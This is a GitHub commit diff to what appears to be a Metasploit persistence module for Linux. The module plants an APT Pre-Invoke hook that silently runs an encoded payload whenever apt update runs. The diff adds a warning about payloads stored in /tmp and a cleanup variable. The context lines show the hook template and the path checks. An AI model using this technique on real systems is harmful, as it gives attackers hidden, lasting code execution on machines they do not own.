Skip to content

Commit 711d8d0

Browse files
committed
persistence apt cleanup updates
1 parent db2f9f7 commit 711d8d0

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/linux/persistence/apt_package_manager.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,8 @@ def check
6767
return CheckCode::Safe('apt-get not found, likely not an apt based system') unless command_exists?('apt-get')
6868
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])
6969
return CheckCode::Safe("#{datastore['HOOKPATH']} not writable") unless writable?(datastore['HOOKPATH'])
70+
71+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
7072
return CheckCode::Safe("#{datastore['WritableDir']} not found") unless exists?(datastore['WritableDir'])
7173
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable?(datastore['WritableDir'])
7274

@@ -78,6 +80,7 @@ def install_persistence
7880
hook_path = datastore['HOOKPATH']
7981
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
8082

83+
@clean_up_rc = ''
8184
if payload.arch.first == 'cmd'
8285
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
8386
else

0 commit comments

Comments
 (0)